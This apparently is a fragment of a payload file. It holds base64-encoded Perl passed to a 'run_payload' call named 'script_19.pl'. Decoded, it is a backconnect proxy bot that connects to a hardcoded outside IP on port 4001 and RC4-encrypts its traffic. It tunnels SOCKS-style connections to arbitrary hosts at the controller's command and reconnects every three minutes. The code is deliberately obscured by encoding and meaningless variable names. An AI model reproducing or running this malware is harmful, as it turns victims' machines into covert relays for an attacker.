GEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_19.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY4JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgk